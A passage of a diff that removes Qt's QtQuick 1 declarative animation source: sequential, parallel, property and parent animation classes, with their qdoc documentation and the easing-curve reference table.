Q_D(QDeclarative1RotationAnimation); - if (d->direction == direction) - return; - - d->direction = direction; - switch(d->direction) { - case Clockwise: - d->interpolator = reinterpret_cast(&_q_interpolateClockwiseRotation); - break; - case Counterclockwise: - d->interpolator = reinterpret_cast(&_q_interpolateCounterclockwiseRotation); - break; - case Shortest: - d->interpolator = reinterpret_cast(&_q_interpolateShortestRotation); - break; - default: - d->interpolator = QVariantAnimationPrivate::getInterpolator(d->interpolatorType); - break; - } - - emit directionChanged(); -} - - - -QDeclarative1AnimationGroup::QDeclarative1AnimationGroup(QObject *parent) -: QDeclarative1AbstractAnimation(*(new QDeclarative1AnimationGroupPrivate), parent) -{ -} - -QDeclarative1AnimationGroup::QDeclarative1AnimationGroup(QDeclarative1AnimationGroupPrivate &dd, QObject *parent) - : QDeclarative1AbstractAnimation(dd, parent) -{ -} - -void QDeclarative1AnimationGroupPrivate::append_animation(QDeclarativeListProperty *list, QDeclarative1AbstractAnimation *a) -{ - QDeclarative1AnimationGroup *q = qobject_cast(list->object); - if (q) { - a->setGroup(q); - // This is an optimization for the parenting that already occurs via addAnimation - QDeclarative_setParent_noEvent(a->qtAnimation(), q->d_func()->ag); - q->d_func()->ag->addAnimation(a->qtAnimation()); - } -} - -void QDeclarative1AnimationGroupPrivate::clear_animation(QDeclarativeListProperty *list) -{ - QDeclarative1AnimationGroup *q = qobject_cast(list->object); - if (q) { - while (q->d_func()->animations.count()) { - QDeclarative1AbstractAnimation *firstAnim = q->d_func()->animations.at(0); - QDeclarative_setParent_noEvent(firstAnim->qtAnimation(), 0); - q->d_func()->ag->removeAnimation(firstAnim->qtAnimation()); - firstAnim->setGroup(0); - } - } -} - -QDeclarative1AnimationGroup::~QDeclarative1AnimationGroup() -{ -} - -QDeclarativeListProperty QDeclarative1AnimationGroup::animations() -{ - Q_D(QDeclarative1AnimationGroup); - QDeclarativeListProperty list(this, d->animations); - list.append = &QDeclarative1AnimationGroupPrivate::append_animation; - list.clear = &QDeclarative1AnimationGroupPrivate::clear_animation; - return list; -} - -/*! - \qmlclass SequentialAnimation QDeclarative1SequentialAnimation - \inqmlmodule QtQuick 1 - \ingroup qml-animation-transition - \since QtQuick 1.0 - \inherits Animation - \brief The SequentialAnimation element allows animations to be run sequentially. - - The SequentialAnimation and ParallelAnimation elements allow multiple - animations to be run together. Animations defined in a SequentialAnimation - are run one after the other, while animations defined in a ParallelAnimation - are run at the same time. - - The following example runs two number animations in a sequence. The \l Rectangle - animates to a \c x position of 50, then to a \c y position of 50. - - \snippet doc/src/snippets/qtquick1/sequentialanimation.qml 0 - - Animations defined within a \l Transition are automatically run in parallel, - so SequentialAnimation can be used to enclose the animations in a \l Transition - if this is the preferred behavior. - - Like any other animation element, a SequentialAnimation can be applied in a - number of ways, including transitions, behaviors and property value - sources. The \l {QML Animation and Transitions} documentation shows a - variety of methods for creating animations. - - \note Once an animation has been grouped into a SequentialAnimation or - ParallelAnimation, it cannot be individually started and stopped; the - SequentialAnimation or ParallelAnimation must be started and stopped as a group. - - \sa ParallelAnimation, {QML Animation and Transitions}, {declarative/animation/basics}{Animation basics example} -*/ - -QDeclarative1SequentialAnimation::QDeclarative1SequentialAnimation(QObject *parent) : - QDeclarative1AnimationGroup(parent) -{ - Q_D(QDeclarative1AnimationGroup); - d->ag = new QSequentialAnimationGroup; - QDeclarative_setParent_noEvent(d->ag, this); -} - -QDeclarative1SequentialAnimation::~QDeclarative1SequentialAnimation() -{ -} - -QAbstractAnimation *QDeclarative1SequentialAnimation::qtAnimation() -{ - Q_D(QDeclarative1AnimationGroup); - return d->ag; -} - -void QDeclarative1SequentialAnimation::transition(QDeclarative1StateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction) -{ - Q_D(QDeclarative1AnimationGroup); - - int inc = 1; - int from = 0; - if (direction == Backward) { - inc = -1; - from = d->animations.count() - 1; - } - - bool valid = d->defaultProperty.isValid(); - for (int ii = from; ii < d->animations.count() && ii >= 0; ii += inc) { - if (valid) - d->animations.at(ii)->setDefaultTarget(d->defaultProperty); - d->animations.at(ii)->transition(actions, modified, direction); - } -} - - - -/*! - \qmlclass ParallelAnimation QDeclarative1ParallelAnimation - \inqmlmodule QtQuick 1 - \ingroup qml-animation-transition - \since QtQuick 1.0 - \inherits Animation - \brief The ParallelAnimation element allows animations to be run in parallel. - - The SequentialAnimation and ParallelAnimation elements allow multiple - animations to be run together. Animations defined in a SequentialAnimation - are run one after the other, while animations defined in a ParallelAnimation - are run at the same time. - - The following animation runs two number animations in parallel. The \l Rectangle - moves to (50,50) by animating its \c x and \c y properties at the same time. - - \snippet doc/src/snippets/qtquick1/parallelanimation.qml 0 - - Like any other animation element, a ParallelAnimation can be applied in a - number of ways, including transitions, behaviors and property value - sources. The \l {QML Animation and Transitions} documentation shows a - variety of methods for creating animations. - - \note Once an animation has been grouped into a SequentialAnimation or - ParallelAnimation, it cannot be individually started and stopped; the - SequentialAnimation or ParallelAnimation must be started and stopped as a group. - - \sa SequentialAnimation, {QML Animation and Transitions}, {declarative/animation/basics}{Animation basics example} -*/ -QDeclarative1ParallelAnimation::QDeclarative1ParallelAnimation(QObject *parent) : - QDeclarative1AnimationGroup(parent) -{ - Q_D(QDeclarative1AnimationGroup); - d->ag = new QParallelAnimationGroup; - QDeclarative_setParent_noEvent(d->ag, this); -} - -QDeclarative1ParallelAnimation::~QDeclarative1ParallelAnimation() -{ -} - -QAbstractAnimation *QDeclarative1ParallelAnimation::qtAnimation() -{ - Q_D(QDeclarative1AnimationGroup); - return d->ag; -} - -void QDeclarative1ParallelAnimation::transition(QDeclarative1StateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction) -{ - Q_D(QDeclarative1AnimationGroup); - bool valid = d->defaultProperty.isValid(); - for (int ii = 0; ii < d->animations.count(); ++ii) { - if (valid) - d->animations.at(ii)->setDefaultTarget(d->defaultProperty); - d->animations.at(ii)->transition(actions, modified, direction); - } -} - - - -//convert a variant from string type to another animatable type -void QDeclarative1PropertyAnimationPrivate::convertVariant(QVariant &variant, int type) -{ - if (variant.userType() != QVariant::String) { - variant.convert((QVariant::Type)type); - return; - } - - switch (type) { - case QVariant::Rect: { - variant.setValue(QDeclarativeStringConverters::rectFFromString(variant.toString()).toRect()); - break; - } - case QVariant::RectF: { - variant.setValue(QDeclarativeStringConverters::rectFFromString(variant.toString())); - break; - } - case QVariant::Point: { - variant.setValue(QDeclarativeStringConverters::pointFFromString(variant.toString()).toPoint()); - break; - } - case QVariant::PointF: { - variant.setValue(QDeclarativeStringConverters::pointFFromString(variant.toString())); - break; - } - case QVariant::Size: { - variant.setValue(QDeclarativeStringConverters::sizeFFromString(variant.toString()).toSize()); - break; - } - case QVariant::SizeF: { - variant.setValue(QDeclarativeStringConverters::sizeFFromString(variant.toString())); - break; - } - case QVariant::Color: { - variant.setValue(QDeclarativeStringConverters::colorFromString(variant.toString())); - break; - } - case QVariant::Vector3D: { - variant.setValue(QDeclarativeStringConverters::vector3DFromString(variant.toString())); - break; - } - default: - if (QDeclarativeValueTypeFactory::isValueType((uint)type)) { - variant.convert((QVariant::Type)type); - } else { - QDeclarativeMetaType::StringConverter converter = QDeclarativeMetaType::customStringConverter(type); - if (converter) - variant = converter(variant.toString()); - } - break; - } -} - -/*! - \qmlclass PropertyAnimation QDeclarative1PropertyAnimation - \inqmlmodule QtQuick 1 - \ingroup qml-animation-transition - \since QtQuick 1.0 - \inherits Animation - \brief The PropertyAnimation element animates changes in property values. - - PropertyAnimation provides a way to animate changes to a property's value. - - It can be used to define animations in a number of ways: - - \list - \o In a \l Transition - - For example, to animate any objects that have changed their \c x or \c y properties - as a result of a state change, using an \c InOutQuad easing curve: - - \snippet doc/src/snippets/qtquick1/propertyanimation.qml transition - - - \o In a \l Behavior - - For example, to animate all changes to a rectangle's \c x property: - - \snippet doc/src/snippets/qtquick1/propertyanimation.qml behavior - - - \o As a property value source - - For example, to repeatedly animate the rectangle's \c x property: - - \snippet doc/src/snippets/qtquick1/propertyanimation.qml propertyvaluesource - - - \o In a signal handler - - For example, to fade out \c theObject when clicked: - \qml - MouseArea { - anchors.fill: theObject - onClicked: PropertyAnimation { target: theObject; property: "opacity"; to: 0 } - } - \endqml - - \o Standalone - - For example, to animate \c rect's \c width property over 500ms, from its current width to 30: - - \snippet doc/src/snippets/qtquick1/propertyanimation.qml standalone - - \endlist - - Depending on how the animation is used, the set of properties normally used will be - different. For more information see the individual property documentation, as well - as the \l{QML Animation and Transitions} introduction. - - Note that PropertyAnimation inherits the abstract \l Animation element. - This includes additional properties and methods for controlling the animation. - - \sa {QML Animation and Transitions}, {declarative/animation/basics}{Animation basics example} -*/ - -QDeclarative1PropertyAnimation::QDeclarative1PropertyAnimation(QObject *parent) -: QDeclarative1AbstractAnimation(*(new QDeclarative1PropertyAnimationPrivate), parent) -{ - Q_D(QDeclarative1PropertyAnimation); - d->init(); -} - -QDeclarative1PropertyAnimation::QDeclarative1PropertyAnimation(QDeclarative1PropertyAnimationPrivate &dd, QObject *parent) -: QDeclarative1AbstractAnimation(dd, parent) -{ - Q_D(QDeclarative1PropertyAnimation); - d->init(); -} - -QDeclarative1PropertyAnimation::~QDeclarative1PropertyAnimation() -{ -} - -void QDeclarative1PropertyAnimationPrivate::init() -{ - Q_Q(QDeclarative1PropertyAnimation); - va = new QDeclarative1BulkValueAnimator; - QDeclarative_setParent_noEvent(va, q); -} - -/*! - \qmlproperty int QtQuick1::PropertyAnimation::duration - This property holds the duration of the animation, in milliseconds. - - The default value is 250. -*/ -int QDeclarative1PropertyAnimation::duration() const -{ - Q_D(const QDeclarative1PropertyAnimation); - return d->va->duration(); -} - -void QDeclarative1PropertyAnimation::setDuration(int duration) -{ - if (duration < 0) { - qmlInfo(this) << tr("Cannot set a duration of < 0"); - return; - } - - Q_D(QDeclarative1PropertyAnimation); - if (d->va->duration() == duration) - return; - d->va->setDuration(duration); - emit durationChanged(duration); -} - -/*! - \qmlproperty real QtQuick1::PropertyAnimation::from - This property holds the starting value for the animation. - - If the PropertyAnimation is defined within a \l Transition or \l Behavior, - this value defaults to the value defined in the starting state of the - \l Transition, or the current value of the property at the moment the - \l Behavior is triggered. - - \sa {QML Animation and Transitions} -*/ -QVariant QDeclarative1PropertyAnimation::from() const -{ - Q_D(const QDeclarative1PropertyAnimation); - return d->from; -} - -void QDeclarative1PropertyAnimation::setFrom(const QVariant &f) -{ - Q_D(QDeclarative1PropertyAnimation); - if (d->fromIsDefined && f == d->from) - return; - d->from = f; - d->fromIsDefined = f.isValid(); - emit fromChanged(f); -} - -/*! - \qmlproperty real QtQuick1::PropertyAnimation::to - This property holds the end value for the animation. - - If the PropertyAnimation is defined within a \l Transition or \l Behavior, - this value defaults to the value defined in the end state of the - \l Transition, or the value of the property change that triggered the - \l Behavior. - - \sa {QML Animation and Transitions} -*/ -QVariant QDeclarative1PropertyAnimation::to() const -{ - Q_D(const QDeclarative1PropertyAnimation); - return d->to; -} - -void QDeclarative1PropertyAnimation::setTo(const QVariant &t) -{ - Q_D(QDeclarative1PropertyAnimation); - if (d->toIsDefined && t == d->to) - return; - d->to = t; - d->toIsDefined = t.isValid(); - emit toChanged(t); -} - -/*! - \qmlproperty enumeration QtQuick1::PropertyAnimation::easing.type - \qmlproperty real QtQuick1::PropertyAnimation::easing.amplitude - \qmlproperty real QtQuick1::PropertyAnimation::easing.overshoot - \qmlproperty real QtQuick1::PropertyAnimation::easing.period - \brief the easing curve used for the animation. - - To specify an easing curve you need to specify at least the type. For some curves you can also specify - amplitude, period and/or overshoot (more details provided after the table). The default easing curve is - \c Easing.Linear. - - \qml - PropertyAnimation { properties: "y"; easing.type: Easing.InOutElastic; easing.amplitude: 2.0; easing.period: 1.5 } - \endqml - - Available types are: - - \table - \row - \o \c Easing.Linear - \o Easing curve for a linear (t) function: velocity is constant. - \o \inlineimage qeasingcurve-linear.png - \row - \o \c Easing.InQuad - \o Easing curve for a quadratic (t^2) function: accelerating from zero velocity. - \o \inlineimage qeasingcurve-inquad.png - \row - \o \c Easing.OutQuad - \o Easing curve for a quadratic (t^2) function: decelerating to zero velocity. - \o \inlineimage qeasingcurve-outquad.png - \row - \o \c Easing.InOutQuad - \o Easing curve for a quadratic (t^2) function: acceleration until halfway, then deceleration. - \o \inlineimage qeasingcurve-inoutquad.png - \row - \o \c Easing.OutInQuad - \o Easing curve for a quadratic (t^2) function: deceleration until halfway, then acceleration. - \o \inlineimage qeasingcurve-outinquad.png - \row - \o \c Easing.InCubic - \o Easing curve for a cubic (t^3) function: accelerating from zero velocity. - \o \inlineimage qeasingcurve-incubic.png - \row - \o \c Easing.OutCubic - \o Easing curve for a cubic (t^3) function: decelerating from zero velocity. - \o \inlineimage qeasingcurve-outcubic.png - \row - \o \c Easing.InOutCubic - \o Easing curve for a cubic (t^3) function: acceleration until halfway, then deceleration. - \o \inlineimage qeasingcurve-inoutcubic.png - \row - \o \c Easing.OutInCubic - \o Easing curve for a cubic (t^3) function: deceleration until halfway, then acceleration. - \o \inlineimage qeasingcurve-outincubic.png - \row - \o \c Easing.InQuart - \o Easing curve for a quartic (t^4) function: accelerating from zero velocity. - \o \inlineimage qeasingcurve-inquart.png - \row - \o \c Easing.OutQuart - \o Easing curve for a quartic (t^4) function: decelerating from zero velocity. - \o \inlineimage qeasingcurve-outquart.png - \row - \o \c Easing.InOutQuart - \o Easing curve for a quartic (t^4) function: acceleration until halfway, then deceleration. - \o \inlineimage qeasingcurve-inoutquart.png - \row - \o \c Easing.OutInQuart - \o Easing curve for a quartic (t^4) function: deceleration until halfway, then acceleration. - \o \inlineimage qeasingcurve-outinquart.png - \row - \o \c Easing.InQuint - \o Easing curve for a quintic (t^5) function: accelerating from zero velocity. - \o \inlineimage qeasingcurve-inquint.png - \row - \o \c Easing.OutQuint - \o Easing curve for a quintic (t^5) function: decelerating from zero velocity. - \o \inlineimage qeasingcurve-outquint.png - \row - \o \c Easing.InOutQuint - \o Easing curve for a quintic (t^5) function: acceleration until halfway, then deceleration. - \o \inlineimage qeasingcurve-inoutquint.png - \row - \o \c Easing.OutInQuint - \o Easing curve for a quintic (t^5) function: deceleration until halfway, then acceleration. - \o \inlineimage qeasingcurve-outinquint.png - \row - \o \c Easing.InSine - \o Easing curve for a sinusoidal (sin(t)) function: accelerating from zero velocity. - \o \inlineimage qeasingcurve-insine.png - \row - \o \c Easing.OutSine - \o Easing curve for a sinusoidal (sin(t)) function: decelerating from zero velocity. - \o \inlineimage qeasingcurve-outsine.png - \row - \o \c Easing.InOutSine - \o Easing curve for a sinusoidal (sin(t)) function: acceleration until halfway, then deceleration. - \o \inlineimage qeasingcurve-inoutsine.png - \row - \o \c Easing.OutInSine - \o Easing curve for a sinusoidal (sin(t)) function: deceleration until halfway, then acceleration. - \o \inlineimage qeasingcurve-outinsine.png - \row - \o \c Easing.InExpo - \o Easing curve for an exponential (2^t) function: accelerating from zero velocity. - \o \inlineimage qeasingcurve-inexpo.png - \row - \o \c Easing.OutExpo - \o Easing curve for an exponential (2^t) function: decelerating from zero velocity. - \o \inlineimage qeasingcurve-outexpo.png - \row - \o \c Easing.InOutExpo - \o Easing curve for an exponential (2^t) function: acceleration until halfway, then deceleration. - \o \inlineimage qeasingcurve-inoutexpo.png - \row - \o \c Easing.OutInExpo - \o Easing curve for an exponential (2^t) function: deceleration until halfway, then acceleration. - \o \inlineimage qeasingcurve-outinexpo.png - \row - \o \c Easing.InCirc - \o Easing curve for a circular (sqrt(1-t^2)) function: accelerating from zero velocity. - \o \inlineimage qeasingcurve-incirc.png - \row - \o \c Easing.OutCirc - \o Easing curve for a circular (sqrt(1-t^2)) function: decelerating from zero velocity. - \o \inlineimage qeasingcurve-outcirc.png - \row - \o \c Easing.InOutCirc - \o Easing curve for a circular (sqrt(1-t^2)) function: acceleration until halfway, then deceleration. - \o \inlineimage qeasingcurve-inoutcirc.png - \row - \o \c Easing.OutInCirc - \o Easing curve for a circular (sqrt(1-t^2)) function: deceleration until halfway, then acceleration. - \o \inlineimage qeasingcurve-outincirc.png - \row - \o \c Easing.InElastic - \o Easing curve for an elastic (exponentially decaying sine wave) function: accelerating from zero velocity. - \br The peak amplitude can be set with the \e amplitude parameter, and the period of decay by the \e period parameter. - \o \inlineimage qeasingcurve-inelastic.png - \row - \o \c Easing.OutElastic - \o Easing curve for an elastic (exponentially decaying sine wave) function: decelerating from zero velocity. - \br The peak amplitude can be set with the \e amplitude parameter, and the period of decay by the \e period parameter. - \o \inlineimage qeasingcurve-outelastic.png - \row - \o \c Easing.InOutElastic - \o Easing curve for an elastic (exponentially decaying sine wave) function: acceleration until halfway, then deceleration. - \o \inlineimage qeasingcurve-inoutelastic.png - \row - \o \c Easing.OutInElastic - \o Easing curve for an elastic (exponentially decaying sine wave) function: deceleration until halfway, then acceleration. - \o \inlineimage qeasingcurve-outinelastic.png - \row - \o \c Easing.InBack - \o Easing curve for a back (overshooting cubic function: (s+1)*t^3 - s*t^2) easing in: accelerating from zero velocity. - \o \inlineimage qeasingcurve-inback.png - \row - \o \c Easing.OutBack - \o Easing curve for a back (overshooting cubic function: (s+1)*t^3 - s*t^2) easing out: decelerating to zero velocity. - \o \inlineimage qeasingcurve-outback.png - \row - \o \c Easing.InOutBack - \o Easing curve for a back (overshooting cubic function: (s+1)*t^3 - s*t^2) easing in/out: acceleration until halfway, then deceleration. - \o \inlineimage qeasingcurve-inoutback.png - \row - \o \c Easing.OutInBack - \o Easing curve for a back (overshooting cubic easing: (s+1)*t^3 - s*t^2) easing out/in: deceleration until halfway, then acceleration. - \o \inlineimage qeasingcurve-outinback.png - \row - \o \c Easing.InBounce - \o Easing curve for a bounce (exponentially decaying parabolic bounce) function: accelerating from zero velocity. - \o \inlineimage qeasingcurve-inbounce.png - \row - \o \c Easing.OutBounce - \o Easing curve for a bounce (exponentially decaying parabolic bounce) function: decelerating from zero velocity. - \o \inlineimage qeasingcurve-outbounce.png - \row - \o \c Easing.InOutBounce - \o Easing curve for a bounce (exponentially decaying parabolic bounce) function easing in/out: acceleration until halfway, then deceleration. - \o \inlineimage qeasingcurve-inoutbounce.png - \row - \o \c Easing.OutInBounce - \o Easing curve for a bounce (exponentially decaying parabolic bounce) function easing out/in: deceleration until halfway, then acceleration. - \o \inlineimage qeasingcurve-outinbounce.png - \endtable - - \c easing.amplitude is only applicable for bounce and elastic curves (curves of type - \c Easing.InBounce, \c Easing.OutBounce, \c Easing.InOutBounce, \c Easing.OutInBounce, \c Easing.InElastic, - \c Easing.OutElastic, \c Easing.InOutElastic or \c Easing.OutInElastic). - - \c easing.overshoot is only applicable if \c easing.type is: \c Easing.InBack, \c Easing.OutBack, - \c Easing.InOutBack or \c Easing.OutInBack. - - \c easing.period is only applicable if easing.type is: \c Easing.InElastic, \c Easing.OutElastic, - \c Easing.InOutElastic or \c Easing.OutInElastic. - - See the \l {declarative/animation/easing}{easing} example for a demonstration of - the different easing settings. -*/ -QEasingCurve QDeclarative1PropertyAnimation::easing() const -{ - Q_D(const QDeclarative1PropertyAnimation); - return d->va->easingCurve(); -} - -void QDeclarative1PropertyAnimation::setEasing(const QEasingCurve &e) -{ - Q_D(QDeclarative1PropertyAnimation); - if (d->va->easingCurve() == e) - return; - - d->va->setEasingCurve(e); - emit easingChanged(e); -} - -QObject *QDeclarative1PropertyAnimation::target() const -{ - Q_D(const QDeclarative1PropertyAnimation); - return d->target; -} - -void QDeclarative1PropertyAnimation::setTarget(QObject *o) -{ - Q_D(QDeclarative1PropertyAnimation); - if (d->target == o) - return; - d->target = o; - emit targetChanged(); -} - -QString QDeclarative1PropertyAnimation::property() const -{ - Q_D(const QDeclarative1PropertyAnimation); - return d->propertyName; -} - -void QDeclarative1PropertyAnimation::setProperty(const QString &n) -{ - Q_D(QDeclarative1PropertyAnimation); - if (d->propertyName == n) - return; - d->propertyName = n; - emit propertyChanged(); -} - -QString QDeclarative1PropertyAnimation::properties() const -{ - Q_D(const QDeclarative1PropertyAnimation); - return d->properties; -} - -void QDeclarative1PropertyAnimation::setProperties(const QString &prop) -{ - Q_D(QDeclarative1PropertyAnimation); - if (d->properties == prop) - return; - - d->properties = prop; - emit propertiesChanged(prop); -} - -/*! - \qmlproperty string QtQuick1::PropertyAnimation::properties - \qmlproperty list QtQuick1::PropertyAnimation::targets - \qmlproperty string QtQuick1::PropertyAnimation::property - \qmlproperty Object QtQuick1::PropertyAnimation::target - - These properties are used as a set to determine which properties should be animated. - The singular and plural forms are functionally identical, e.g. - \qml - NumberAnimation { target: theItem; property: "x"; to: 500 } - \endqml - has the same meaning as - \qml - NumberAnimation { targets: theItem; properties: "x"; to: 500 } - \endqml - The singular forms are slightly optimized, so if you do have only a single target/property - to animate you should try to use them. - - The \c targets property allows multiple targets to be set. For example, this animates the - \c x property of both \c itemA and \c itemB: - - \qml - NumberAnimation { targets: [itemA, itemB]; properties: "x"; to: 500 } - \endqml - - In many cases these properties do not need to be explicitly specified, as they can be - inferred from the animation framework: - - \table 80% - \row - \o Value Source / Behavior - \o When an animation is used as a value source or in a Behavior, the default target and property - name to be animated can both be inferred. - \qml - Rectangle { - id: theRect - width: 100; height: 100 - color: Qt.rgba(0,0,1) - NumberAnimation on x { to: 500; loops: Animation.Infinite } //animate theRect's x property - Behavior on y { NumberAnimation {} } //animate theRect's y property - } - \endqml - \row - \o Transition - \o When used in a transition, a property animation is assumed to match \e all targets - but \e no properties. In practice, that means you need to specify at least the properties - in order for the animation to do anything. - \qml - Rectangle { - id: theRect - width: 100; height: 100 - color: Qt.rgba(0,0,1) - Item { id: uselessItem } - states: State { - name: "state1" - PropertyChanges { target: theRect; x: 200; y: 200; z: 4 } - PropertyChanges { target: uselessItem; x: 10; y: 10; z: 2 } - } - transitions: Transition { - //animate both theRect's and uselessItem's x and y to their final values - NumberAnimation { properties: "x,y" } - - //animate theRect's z to its final value - NumberAnimation { target: theRect; property: "z" } - } - } - \endqml - \row - \o Standalone - \o When an animation is used standalone, both the target and property need to be - explicitly specified. - \qml - Rectangle { - id: theRect - width: 100; height: 100 - color: Qt.rgba(0,0,1) - //need to explicitly specify target and property - NumberAnimation { id: theAnim; target: theRect; property: "x"; to: 500 } - MouseArea { - anchors.fill: parent - onClicked: theAnim.start() - } - } - \endqml - \endtable - - As seen in the above example, properties is specified as a comma-separated string of property names to animate. - - \sa exclude, {QML Animation and Transitions} -*/ -QDeclarativeListProperty QDeclarative1PropertyAnimation::targets() -{ - Q_D(QDeclarative1PropertyAnimation); - return QDeclarativeListProperty(this, d->targets); -} - -/*! - \qmlproperty list QtQuick1::PropertyAnimation::exclude - This property holds the items not to be affected by this animation. - \sa PropertyAnimation::targets -*/ -QDeclarativeListProperty QDeclarative1PropertyAnimation::exclude() -{ - Q_D(QDeclarative1PropertyAnimation); - return QDeclarativeListProperty(this, d->exclude); -} - -QAbstractAnimation *QDeclarative1PropertyAnimation::qtAnimation() -{ - Q_D(QDeclarative1PropertyAnimation); - return d->va; -} - -void QDeclarative1AnimationPropertyUpdater::setValue(qreal v) -{ - bool deleted = false; - wasDeleted = &deleted; - if (reverse) //QVariantAnimation sends us 1->0 when reversed, but we are expecting 0->1 - v = 1 - v; - for (int ii = 0; ii < actions.count(); ++ii) { - QDeclarative1Action &action = actions[ii]; - - if (v == 1.) - QDeclarativePropertyPrivate::write(action.property, action.toValue, QDeclarativePropertyPrivate::BypassInterceptor | QDeclarativePropertyPrivate::DontRemoveBinding); - else { - if (!fromSourced && !fromDefined) { - action.fromValue = action.property.read(); - if (interpolatorType) - QDeclarative1PropertyAnimationPrivate::convertVariant(action.fromValue, interpolatorType); - } - if (!interpolatorType) { - int propType = action.property.propertyType(); - if (!prevInterpolatorType || prevInterpolatorType != propType) { - prevInterpolatorType = propType; - interpolator = QVariantAnimationPrivate::getInterpolator(prevInterpolatorType); - } - } - if (interpolator) - QDeclarativePropertyPrivate::write(action.property, interpolator(action.fromValue.constData(), action.toValue.constData(), v), QDeclarativePropertyPrivate::BypassInterceptor | QDeclarativePropertyPrivate::DontRemoveBinding); - } - if (deleted) - return; - } - wasDeleted = 0; - fromSourced = true; -} - -void QDeclarative1PropertyAnimation::transition(QDeclarative1StateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction) -{ - Q_D(QDeclarative1PropertyAnimation); - - QStringList props = d->properties.isEmpty() ? QStringList() : d->properties.split(QLatin1Char(',')); - for (int ii = 0; ii < props.count(); ++ii) - props[ii] = props.at(ii).trimmed(); - if (!d->propertyName.isEmpty()) - props << d->propertyName; - - QList targets = d->targets; - if (d->target) - targets.append(d->target); - - bool hasSelectors = !props.isEmpty() || !targets.isEmpty() || !d->exclude.isEmpty(); - bool useType = (props.isEmpty() && d->defaultToInterpolatorType) ? true : false; - - if (d->defaultProperty.isValid() && !hasSelectors) { - props << d->defaultProperty.name(); - targets << d->defaultProperty.object(); - } - - if (props.isEmpty() && !d->defaultProperties.isEmpty()) { - props << d->defaultProperties.split(QLatin1Char(',')); - } - - QDeclarative1AnimationPropertyUpdater *data = new QDeclarative1AnimationPropertyUpdater; - data->interpolatorType = d->interpolatorType; - data->interpolator = d->interpolator; - data->reverse = direction == Backward ? true : false; - data->fromSourced = false; - data->fromDefined = d->fromIsDefined; - - bool hasExplicit = false; - //an explicit animation has been specified - if (d->toIsDefined) { - for (int i = 0; i < props.count(); ++i) { - for (int j = 0; j < targets.count(); ++j) { - QDeclarative1Action myAction; - myAction.property = d->createProperty(targets.at(j), props.at(i), this); - if (myAction.property.isValid()) { - if (d->fromIsDefined) { - myAction.fromValue = d->from; - d->convertVariant(myAction.fromValue, d->interpolatorType ? d->interpolatorType : myAction.property.propertyType()); - } - myAction.toValue = d->to; - d->convertVariant(myAction.toValue, d->interpolatorType ? d->interpolatorType : myAction.property.propertyType()); - data->actions << myAction; - hasExplicit = true; - for (int ii = 0; ii < actions.count(); ++ii) { - QDeclarative1Action &action = actions[ii]; - if (action.property.object() == myAction.property.object() && - myAction.property.name() == action.property.name()) { - modified << action.property; - break; //### any chance there could be multiples? - } - } - } - } - } - } - - if (!hasExplicit) - for (int ii = 0; ii < actions.count(); ++ii) { - QDeclarative1Action &action = actions[ii]; - - QObject *obj = action.property.object(); - QString propertyName = action.property.name(); - QObject *sObj = action.specifiedObject; - QString sPropertyName = action.specifiedProperty; - bool same = (obj == sObj); - - if ((targets.isEmpty() || targets.contains(obj) || (!same && targets.contains(sObj))) && - (!d->exclude.contains(obj)) && (same || (!d->exclude.contains(sObj))) && - (props.contains(propertyName) || (!same && props.contains(sPropertyName)) - || (useType && action.property.propertyType() == d->interpolatorType))) { - QDeclarative1Action myAction = action; - - if (d->fromIsDefined) - myAction.fromValue = d->from; - else - myAction.fromValue = QVariant(); - if (d->toIsDefined) - myAction.toValue = d->to; - - d->convertVariant(myAction.fromValue, d->interpolatorType ? d->interpolatorType : myAction.property.propertyType()); - d->convertVariant(myAction.toValue, d->interpolatorType ? d->interpolatorType : myAction.property.propertyType()); - - modified << action.property; - - data->actions << myAction; - action.fromValue = myAction.toValue; - } - } - - if (data->actions.count()) { - if (!d->rangeIsSet) { - d->va->setStartValue(qreal(0)); - d->va->setEndValue(qreal(1)); - d->rangeIsSet = true; - } - d->va->setAnimValue(data, QAbstractAnimation::DeleteWhenStopped); - d->va->setFromSourcedValue(&data->fromSourced); - d->actions = &data->actions; - } else { - delete data; - d->va->setFromSourcedValue(0); //clear previous data - d->va->setAnimValue(0, QAbstractAnimation::DeleteWhenStopped); //clear previous data - d->actions = 0; - } -} - -/*! - \qmlclass ParentAnimation QDeclarative1ParentAnimation - \inqmlmodule QtQuick 1 - \ingroup qml-animation-transition - \since QtQuick 1.0 - \inherits Animation - \brief The ParentAnimation element animates changes in parent values. - - ParentAnimation is used to animate a parent change for an \l Item. - - For example, the following ParentChange changes \c blueRect to become - a child of \c redRect when it is clicked. The inclusion of the - ParentAnimation, which defines a NumberAnimation to be applied during - the transition, ensures the item animates smoothly as it moves to - its new parent: - - \snippet doc/src/snippets/qtquick1/parentanimation.qml 0 - - A ParentAnimation can contain any number of animations. These animations will - be run in parallel; to run them sequentially, define them within a - SequentialAnimation. - - In some cases, such as when reparenting between items with clipping enabled, it is useful - to animate the parent change via another item that does not have clipping - enabled. Such an item can be set using the \l via property. - - For convenience, when a ParentAnimation is used in a \l Transition, it will - animate any ParentChange that has occurred during the state change. - This can be overridden by setting a specific target item using the - \l target property. - - Like any other animation element, a ParentAnimation can be applied in a - number of ways, including transitions, behaviors and property value - sources. The \l {QML Animation and Transitions} documentation shows a - variety of methods for creating animations. - - \sa {QML Animation and Transitions}, {declarative/animation/basics}{Animation basics example} -*/ -QDeclarative1ParentAnimation::QDeclarative1ParentAnimation(QObject *parent) - : QDeclarative1AnimationGroup(*(new QDeclarative1ParentAnimationPrivate), parent) -{ - Q_D(QDeclarative1ParentAnimation); - d->topLevelGroup = new QSequentialAnimationGroup; - QDeclarative_setParent_noEvent(d->topLevelGroup, this); - - d->startAction = new QActionAnimation_1; - QDeclarative_setParent_noEvent(d->startAction, d->topLevelGroup); - d->topLevelGroup->addAnimation(d->startAction); - - d->ag = new QParallelAnimationGroup; - QDeclarative_setParent_noEvent(d->ag, d->topLevelGroup); - d->topLevelGroup->addAnimation(d->ag); - - d->endAction = new QActionAnimation_1; - QDeclarative_setParent_noEvent(d->endAction, d->topLevelGroup); - d->topLevelGroup->addAnimation(d->endAction); -} - -QDeclarative1ParentAnimation::~QDeclarative1ParentAnimation() -{ -} - -/*! - \qmlproperty Item QtQuick1::ParentAnimation::target - The item to reparent. - - When used in a transition, if no target is specified, all - ParentChange occurrences are animated by the ParentAnimation. -*/ -QDeclarativeItem *QDeclarative1ParentAnimation::target() const -{ - Q_D(const QDeclarative1ParentAnimation); - return 